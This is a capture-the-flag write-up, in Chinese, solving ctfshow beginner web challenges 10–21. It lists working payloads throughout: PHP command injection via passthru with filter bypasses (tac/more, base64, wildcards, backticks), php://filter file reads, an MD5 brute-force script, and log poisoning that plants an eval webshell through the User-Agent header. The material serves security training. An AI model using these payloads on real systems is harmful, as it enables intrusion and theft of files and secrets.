ctfshow 萌新web10-21

2023-11-17

ctfshow 萌新web10-21

web10

在这里插入图片描述

题目提示flag在congfig.php中

php中作为执行系统命令的函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

源码中过滤了 system,exec,highlight 这三个常用的PHP命令执行函数,绕过过滤条件就可以使用 eval() 函数执行PHP代码了,我们使用其他的命令执行函数即可,这里使用 passthru()函数即可

payload: ?c=passthru('cat config.php');

显示页面为空格,查看网页源代码得flag

web11

在这里插入图片描述

与web10相比,此处多过滤了cat,用more代替cat即可

payload: ?c=passthru('more config.php');

显示页面为空格,查看网页源代码得flag

web12

在这里插入图片描述

由提示flag在config.php中,但是config.php被过滤,抓取文件内容的cat也被过滤

利用其它方法绕过过滤,命令执行函数passthru未被过滤可利用

cat可用tac或more(需要多一步查看网页源代码)替代

解法一:

config.php可先base64编码再解码方式绕过

payload: ?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");

注意:这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的

因为在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

解法二:

通配符绕过

payload:

?c=passthru('tac ??????????');
?c=passthru('tac c*');
?c=passthru('tac *');

web13

在这里插入图片描述

新增;被过滤 可用?>代替绕过

解法一:

payload: ?c=passthru('tac *')?>

解法二:

passthru("ca''t `ls`")?>

Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句

web14

在这里插入图片描述

用include函数和伪协议构成Payload

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

(用?>代替;只能执行一次代码)

得到一段base64编码

在这里插入图片描述

解码得到flag

web15

在这里插入图片描述

与web14相比?>被过滤,但是;被放出来了,将web14中payload?>改为;即可

include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

web16

在这里插入图片描述

由涉及md5比较

利用脚本爆破

import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
    for j in str :
        for k in str:
            s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
            if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
                print(i+j+k)#输出字符c的值

得到c的参数值:36d

payload:

?c=36d 

web17

在这里插入图片描述

c传参过滤掉php
思路:include文件包含,利用日志文件包含

访问日志文件:
?c=/var/log/nginx/access.log

在这里插入图片描述

发现日志文件记录了user-agent头,于是在该头中插入一句话木马:

<?php eval($_POST['a']);?> 

在这里插入图片描述

蚂剑链接发现flag

在这里插入图片描述

在这里插入图片描述

web18

同web17日志包含解出

web19

同web17日志包含解出

web20

同web17日志包含解出

web21

同web17日志包含解出

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

ctfshow 萌新web10-21 的相关文章

  • 无法使用 tar -cvpzf 解压完整目录

    把我的头敲在这上面 I used tar cvpzf file tar gz压缩一个完整的目录 我将文件移动到另一台服务器 并尝试解压缩复制存档的目录 无法使其发挥作用 bash 3 2 tar xvpzf news tar gz tar
  • 如何在 jQuery.knob 中添加值后缀

    我有问题jQuery knob http anthonyterrien com knob 我需要添加一个Sufixx至旋钮中的值 例如 我需要一个后缀 数值后 我只是输入数值字段 它会显示 但此时旋钮不会显示状态 它不会显示旋钮状态 但后缀
  • 如何在 PHP Soap 客户端中禁用命名空间别名?

    我的 PHP Microsoft AX 集成有问题 我正在使用 SOAP WSDL 与服务集成 我遇到的问题是在从 PHP 向 WSDL 发送请求后收到此错误 无效的实例类型名称 ns3 AxdEntity DirParty DirOrga
  • SESSION 中存储的数组后面出现数字

    我正在对存储在会话变量上的数组执行 print r 由于某种未知的原因 它在数组打印后添加了一个数字 Example Array 0 gt 868 userid gt 868 1 如果我直接在函数本身中执行 print r 并且在变量存储在
  • Laravel 规则和正则表达式 (OR) 运算符的问题

    我的 Laravel 规则和正则表达式操作有一个小问题 基本上 规则是一个数组 如下所示 room gt required alpha num min 2 max 10 我遇到的问题是使用正则表达式和 时 或 运算符 例如 cid gt r
  • PDO 多查询“SQLSTATE[HY000]:一般错误”

    我仍在学习 PDO 所以我可能会错过一些东西 但基本上我正在尝试将一行插入表中 然后选择生成的 id 我不确定它是否喜欢一个 pdo 语句中的两个查询 这是我用来执行 SQL 的代码 public function ExecuteQuery
  • 如何更改Linux服务器中的MySQL表名不区分大小写?

    我正在开发一个旧网站 该网站曾经托管在 Apple 服务器上 当它迁移到新的 Linux 服务器时 它停止工作 我很确定这是因为 php 脚本中使用的所有 MySQL 查询对于表名都有不同的大小写组合 我不知道为什么原始开发人员在创建表名或
  • 我如何知道 std::map 插入成功还是失败?

    我在多线程应用程序中有一个映射 将名为 uuid 的类映射到指针 我想知道插入操作是否成功或失败 e g mymap insert hint MyMap value type entry uuid itemptr 如果失败的话会抛出异常或者
  • 创建验证电子邮件的机制

    我的网站上已经有一个高级用户登录 注册系统 colemansystems psm2 co uk http colemansystems psm2 co uk 但是 我希望向新用户发送一封电子邮件以验证他们的电子邮件地址 如果他们没有点击该链
  • Session_set_save_handler 未设置

    我在设置 session set save handler 时遇到问题 我将 php ini 配置为 session handler user 这个简单的测试失败了 Define custom session handler if sess
  • 如何获取PHP版本?

    有没有办法检查从该脚本中执行特定脚本的 PHP 版本 例如 下面的代码片段 version way to get version print version 将在一台机器上打印 5 3 0 在另一台机器上打印 5 3 1 version p
  • 表单提交不起作用

    我有一张桌子 可以打印出所有可用的相机 它使用表单来更改这些设置 问题在于该表单仅更新条目中的最后一个摄像机 换句话说 如果我更改表单并为列表中的最后一个摄像机点击 应用 它将起作用 如果我更改此列表中任何其他摄像机的表单 它会将其更改为与
  • 使用 xargs 时如何获取退出代码(并行)

    我制作了一个用于启动并行 rsync 进程的脚本 bin bash LIST 1 DEST DIR 2 RSYNC OPTS 3 echo rsyncing From SRC DIR To DEST DIR RSYNC OPTS RSYNC
  • 由带有换行符的 DOMDocument 生成的 XML

    我正在使用 PHP DOMDocument 创建 XML 文件 并且这些 XML 文件不能包含换行符 但是当我使用该方法时 保存 XML 生成的 XML 在定义和初始标记之间有一个换行符 如下所示
  • 通过电子邮件发送在 HTML5 画布上创建的图像

    我有一个画布 用户可以通过交互来更改设计 现在 用户完成更改后 可以提交他的设计及其电子邮件 ID 但为了提交设计 我使用以下方法将画布转换为图像http www nihilogic dk labs canvas2image http ww
  • 数据库设计 - “推”模型,或写时扇出

    背景信息 我正在尝试检索我关注的人的图像 按最新时间排序 它就像 Twitter 新闻源 显示您朋友的最新动态 Plans 目前我只需要考虑一项 那就是图像 将来我计划分析用户的行为并将他们可能喜欢的其他图像添加到他们的提要中等 http
  • PHP 将日期与今天的日期进行比较

    我正在尝试采用以下格式的信用卡到期日期mm yy并查看该日期是否已过 以便我知道信用卡是否已过期 如果已经过期 则一类expired被插入到 tr 我的代码结果检查了 05 16 的样本日期 并且脚本显示该卡尚未过期 而显然该卡已经使用了一
  • Mongo:无法连接到服务器 127.0.0.1:27017 位于 src/mongo/shell/mongo.js:145

    当我尝试在 ubuntu 中的 shell 中运行 mongo 或打开 rockmongo 时 我看到以下错误 couldn t connect to server 127 0 0 1 27017 at src mongo shell mo
  • PDO 从 Postgres 获取小数秒

    当我查询日期时间字段时postgresql 9 6 用一个简单的 pdo 语句 PHP7 sql SELECT date FROM table stmt adapter gt createStatement sql stmt gt prep
  • 如何防止显示菱形问号符号,即使使用 mb_substr 和 utf-8

    我读过其他一些问题 尝试了答案 但最终没有结果 我得到的是例如这个 我无法删除那个奇怪的问号 我所做的就是获取 RSS feed 的内容 该内容也被编码为内容使用希腊语 有没有什么办法解决这一问题 div div

随机推荐

  • 数据库错误Warning in ./libraries/config/FormDisplay.php#661

    宝塔面板的phpMyAdmin目录为 www server phpmyadmin 然后搜索 FormDisplay php 在661行将continue改为break 保存 关闭 重新打开phpMyAdmin 宝塔面板 数据库 管理 ok
  • 编译报错error while loading shared libraries找不到libsigsegv.so.2解决思路

    笔者在Ubuntu交叉编译openwrt系统时 遇到了错误error while loading shared libraries 提示找不到libsigsegv so 2这个库 而且是makefile在执行awk这个指令时报的错 分析过程
  • Mybatisplus使用easycode

    在插件栏里下载easycode 然后在如下路径找到easycode配置 设置实体类的模板 因为自带的模板并不适合我们直接的开发 导入宏定义 define vm 保存文件 宏定义 save entity java 包路径 宏定义 setPac
  • 嵌入式原理图入门-UART

    串口 UART Universal Asynchronous Receiver Transmitter 即通用异步收发传输器 简称串口 抓取日志 还有很多的外设也是用串口进行通讯 例如GPS模块 蓝牙模块 电表 锁板等 串口硬件及原理图 串
  • SpringBoot获取Request的3种方法!

    HttpServletRequest 简称 Request 它是一个 Servlet API 提供的对象 用于获取客户端发起的 HTTP 请求信息 例如 获取请求参数 获取请求头 获取 Session 会话信息 获取请求的 IP 地址等信息
  • Linux SATA驱动

    驱动层次关系 0 gt sata xxx c sata的平台驱动 1 gt drivers of xxx c 设备树相关操作 of xxx 1 gt sata xxx c 不同芯片自己的init irq handler ata port o
  • android webdav 播放器,Android APP 推荐:WebDAV Server(不借助数据线在电脑和手机间同步数据)...

    很久以前就在知乎上看过这样的一个问题 Android 手机和电脑之间共享数据 同步数据 不通过数据线连接 有什么好的解决方案 虽然回答挺多的 但是没有一个是我比较满意的 后来也了解到一些软件 宣称可以很少的实现同步电脑和手机的数据的功能 例
  • Linux VI与文件查看命令

    vi 进入linux系统的交互式编辑器 VI模式转换 i 插入模式 lt gt 命令行模式 lt gt 底行模式 esc esc 命令行模式常用命令 0 移到当前行的最前 移到当前行的最后 H 移到屏幕第一行 L 移到屏幕末行 gg 移到文
  • 蓝桥杯模拟赛第一期 充电器C语言

    问题描述 小蓝有一个充电器 可以使用不同的电压和电流充电 给定充电器工作的记录 请计算在这个记录期间总共通过充电传输了多少电能 输入格式 输入第一行包含一个整数 n 表示记录的条数 接下来 n 行 每行包含一个时刻 T 和两个非负整数 U
  • Unity资源常用目录和路径大总结

    一 资源路径 Unity中的资源路径在Window平台下打印出来如下图 Android平台 iOS平台 二 Unity3D中的资源访问介绍 1 Resources 是Unity3D系统指定文件夹 如果你新建的文件夹的名字叫Resources
  • AI算法工程师岗位职责解析

    岗位职责 1 深度学习算法研究 实现和优化 负责特定需求的深度学习算法解决方案 2 负责针对业务问题场景 设计和实现具体应用的深度学习模型 策略 算法 改进业务 3 研究文本 图片 视频等多种内容数据的语义理解的算法和技术 跟进业界深度学习
  • 数据分析规范总结-V2.0

    结构规范及写作 报告常用结构 1 架构清晰 主次分明 数据分析报告要有一个清晰的架构 层次分明能降低阅读成本 有助于信息的传达 虽然不同类型的分析报告有其适用的呈现方式 但总的来说作为议论文的一种 大部分的分析报告还是适用总 分 总 的结构
  • MySQL数据库(三)SQL之DDL、DML语句

    成功不易 加倍努力 1 DDL语句 1 1 创建表 1 2 表查看 1 3 修改和删除表 2 DML语句 2 1 INSERT 语句 2 2 UPDATE 语句 2 3 DELETE语句 1 DDL语句 表 二维关系 设计表 遵循规范 定义
  • OS中 main.h 的一些基本概念 以及 类与对象的概念及其实现

    目录 头文件 import lt gt 与 import 的区别 include 与 import 的区别 OC语言的特点 自动释放池 面向对象的 特征 与 概念 以及其基本思想 类 与 对象 的概念 如何用OC中创建与使用对象 如何给对象
  • 力扣每日一题——上升下降字符串

    题目链接 class Solution public string sortString string s int len s length 获取字符串长度 char ch 501 创建字符串数组 string sh 创建结果字符串 boo
  • npm、cnpm、yarn、pnpm区别以及pnpm 是凭什么对 npm 和 yarn 降维打击的

    安装 1 安装npm需要安装nodejs node中自带npm包管理器 node下载地址 node js 2 cnpm安装 需要安装npm cnpm是淘宝团队做的npm镜像 淘宝镜像每 10分钟 进行一次同步以保证尽量与官方服务同步 npm
  • 后疫情时代,数据科学赋能旅游行业服务质量提升

    通宵灯火人如织 一派歌声喜欲狂 新冠 乙类乙管 的实施加上春节假期的到来 使得人们的出行热情空前高涨 根据中国旅游研究院的调查显示 23 年春节假期全国国内旅游出游达到了 3 08 亿人次 同比增长 23 1 期间旅游收入达 3758 43
  • if __name__ == '__main__' 如何正确理解

    name 是当前模块名 当模块被直接运行时模块名为 main 这句话的意思就是 当模块被直接运行时 以下代码块将被运行 当模块是被导入时 代码块不被运行 main main is the name of the scope in which
  • [100 tips about shell] shell中变量拼接输出字符串、单引号、双引号

    文章目的 shell脚本中会涉及很多变量结果拼接的场景 这篇文章相对其中的场景探讨和总结 变量拼接字符串时 变量之间可以直接拼接 变量拼接字符串 可以通过 变量名 限定变量范围 可以用引号分割变量和字符串 echo var1world ec
  • ctfshow 萌新web10-21

    ctfshow 萌新web10 21 web10 题目提示flag在congfig php中 php中作为执行系统命令的函数 system passthru exec shell exec popen proc open pcntl exe